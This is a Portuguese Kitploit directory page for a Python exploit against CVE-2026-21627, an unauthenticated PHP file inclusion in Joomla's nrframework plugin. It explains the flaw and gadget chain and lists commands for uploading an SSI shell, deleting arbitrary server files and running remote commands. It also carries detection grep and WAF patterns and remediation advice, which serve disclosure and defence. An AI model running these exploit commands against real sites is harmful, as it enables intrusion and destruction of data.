Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-21627---Tassos-Novarain-Framework-plg_system_nrframework-Exploit---Joomla — Exploit em Python para CVE-2026-21627, uma inclusão arbitrária de arquivo PHP não autenticada no Novarain Framework do Joomla, permitindo upload de arquivos, exclusão e RCE. | Kitploit
Ferramentas/GitHubGitHub/yallasec/cve-2026-21627---tassos-novarain-framework-plg_system_nrframework-exploit---joomla
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoRed TeamingDesenvolvimento de Payloads
GitHubyallasec/cve-2026-21627---tassos-novarain-framework-plg_system_nrframework-exploit---joomla

CVE-2026-21627---Tassos-Novarain-Framework-plg_system_nrframework-Exploit---Joomla

Exploit em Python para CVE-2026-21627, uma inclusão arbitrária de arquivo PHP não autenticada no Novarain Framework do Joomla, permitindo upload de arquivos, exclusão e RCE.

Ver Repositório
há 6 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2026-21627

Inclusão Arbitrária de Arquivos Não Autenticada no Framework Novarain do Joomla (nrframework)

CVSS Joomla Python


Visão Geral

Uma vulnerabilidade crítica no plugin Tassos/Novarain Framework (plg_system_nrframework) do Joomla permite que atacantes não autenticados incluam arquivos PHP arbitrários no servidor, instanciem classes arbitrárias e encadeiem com classes gadget integradas para alcançar upload arbitrário de arquivos e exclusão arbitrária de arquivos — tudo sem autenticação.

ID CVECVE-2026-21627
Pontuação CVSS9.5 (Crítico)
Pluginplg_system_nrframework (Tassos Framework / Novarain Framework)
Versões Vulneráveis4.10.14 até 6.0.37
Corrigido Em6.0.38+
CMSJoomla 3.x, 4.x, 5.x

O plugin nrframework é fornecido com várias extensões populares do Joomla da Tassos.gr, incluindo Convert Forms, Engage Box, Google Structured Data e outras.

Detalhes da Vulnerabilidade

O método ajaxTaskInclude() em nrframework.php é explicitamente incluído na lista de permissões para acesso de frontend (não-admin) por meio do array $non_admin_tasks. Ele aceita três parâmetros controlados pelo usuário:

  • path — usa o filtro de entrada RAW (zero sanitização, travessia de caminho possível)
  • file — usa o filtro de entrada padrão do Joomla
  • class — nome da classe a ser instanciada após a inclusão

O caminho concatenado $path . $file . '.php' é passado diretamente para @include_once, permitindo inclusão arbitrária de arquivos PHP. Após a inclusão, a classe especificada é instanciada e seu método onAJAX() é chamado com parâmetros controlados pelo usuário.

Primitivas de Ataque

PrimitivaGadgetGravidadeDescrição
Inclusão de ArquivoajaxTaskInclude()CríticoIncluir qualquer arquivo .php no servidor
Exclusão de ArquivoJFormFieldNRInlineFileUpload::onRemove()Críticounlink() sem validação de caminho — excluir qualquer arquivo gravável pelo servidor web
Upload de ArquivoJFormFieldNRInlineFileUpload::onUpload()AltoEnviar arquivos de texto para qualquer diretório gravável acessível pela web
Divulgação de CaminhoResposta de uploadMédioCaminho completo do sistema de arquivos vazado na resposta JSON

Uso

root@kitploit:~
python3 cve_2026_21627.py --target <URL> --mode <MODO> [OPÇÕES]

Modos

ModoDescriçãoRisco
verifyConfirmar se a vulnerabilidade existeSeguro / Somente leitura
uploadEnviar um arquivo para um diretório controladoMédio
deleteExcluir um arquivo arbitrário no servidorDestrutivo
rceTentar cadeia completa de RCE (upload + execução)Alto
infoIncluir arquivo PHP arbitrário para reconhecimentoMédio

Exemplos

Verificar vulnerabilidade:

root@kitploit:~
python3 cve_2026_21627.py --target https://example.com --mode verify

Enviar arquivo de prova de conceito:

root@kitploit:~
python3 cve_2026_21627.py --target https://example.com --mode upload --shell-type txt

Enviar shell SSI (requer Apache mod_include):

root@kitploit:~
python3 cve_2026_21627.py --target https://example.com --mode upload --shell-type shtml

Tentar cadeia RCE:

root@kitploit:~
python3 cve_2026_21627.py --target https://example.com --mode rce --cmd "id"

Excluir um arquivo (destrutivo):

root@kitploit:~
python3 cve_2026_21627.py --target https://example.com --mode delete --file-path /var/www/html/test.txt

Opções

root@kitploit:~
--target, -t       URL alvo (obrigatório)
--mode, -m         Modo de exploração: verify|upload|delete|rce|info (obrigatório)
--sef-prefix       Prefixo de URL SEF do Joomla (padrão: /it/)
--delay            Atraso entre requisições em segundos (padrão: 2.5)
--proxy            Proxy HTTP (ex.: http://127.0.0.1:8080)
--no-ssl-verify    Desabilitar verificação de certificado SSL

Modo upload:
  --shell-type     Tipo de arquivo: shtml|csv|txt|html (padrão: shtml)
  --upload-dir     Diretório de upload relativo a JPATH_ROOT (padrão: images)
  --custom-content Conteúdo personalizado do arquivo a ser enviado

Modo delete:
  --file-path      Caminho completo no servidor do arquivo a ser excluído

Modo RCE:
  --cmd            Comando a ser executado (padrão: id)

Modo info:
  --php-path       Caminho do arquivo PHP relativo a JPATH_SITE
  --php-file       Nome do arquivo PHP sem a extensão .php
  --php-class      Classe PHP a ser instanciada

Como Funciona

root@kitploit:~
┌──────────────┐    ┌───────────────────┐    ┌─────────────────────┐
│   Atacante   │───>│  onAjaxNrframework │───>│  ajaxTaskInclude()  │
│              │    │  (roteador AJAX)   │    │                     │
│ task=include │    │  include está em   │    │ path = entrada RAW │
│ path=...     │    │  $non_admin_tasks  │    │ @include_once $path │
│ file=...     │    │  (sem necessidade  │    │ new $class()->onAJAX│
│ class=...    │    │   de autenticação) │    └──────────┬──────────┘
└──────────────┘    └───────────────────┘               │
                                                        v
                               ┌─────────────────────────────────────┐
                               │  JFormFieldNRInlineFileUpload       │
                               │  (classe gadget)                    │
                               │                                     │
                               │  onAjax() ──> onUpload()  [GRAVAR]  │
                               │           ──> onRemove()  [EXCLUIR] │
                               └─────────────────────────────────────┘
  1. Sessão e CSRF — O Joomla cria sessões de forma preguiçosa. O exploit aciona a criação de sessão ao sondar o endpoint AJAX e, em seguida, extrai o token CSRF do HTML da página inicial.
  2. Inclusão de Arquivo — A tarefa include é chamada com um path controlado (filtro RAW = sem sanitização) apontando para o arquivo gadget.
  3. Execução do Gadget — A classe incluída JFormFieldNRInlineFileUpload fornece onUpload() para gravação de arquivos e onRemove() para exclusão de arquivos, ambos com validação de entrada insuficiente.

Requisitos

  • Python 3.7+
  • Biblioteca requests
root@kitploit:~
pip install requests

Detecção

Monitore os logs de acesso para tentativas de exploração:

root@kitploit:~
# Padrão de log Apache/Nginx
grep -E "option=com_ajax.*plugin=nrframework.*task=include" access.log

Regra WAF — Bloquear requisições que correspondam a:

root@kitploit:~
option=com_ajax.*plugin=nrframework.*task=include.*path=

Auditoria pós-comprometimento:

  • Verifique images/ e outros diretórios graváveis para arquivos inesperados
  • Verifique a integridade de configuration.php e .htaccess
  • Revise os logs de erro do servidor para avisos de @include_once

Remediação

  1. Atualize o nrframework para a versão 6.0.38 ou posterior imediatamente
  2. O patch remove ajaxTaskInclude() completamente e o substitui por um registro estrito de manipuladores (AjaxHandlerRegistry)

Linha do Tempo

DataEvento
2026-02Vulnerabilidade descoberta durante teste de penetração autorizado
2026-02Exploit criado
2026-02Divulgação pública

Aviso Legal

Esta ferramenta é fornecida apenas para testes de segurança autorizados e fins educacionais. Use este exploit somente contra sistemas para os quais você tenha permissão escrita explícita para testar. O acesso não autorizado a sistemas de computador é ilegal. O autor não assume nenhuma responsabilidade por uso indevido.

Autor

Yallasec — yallasec.com

Arcangelo Saracino — @arkango

Baixar ferramenta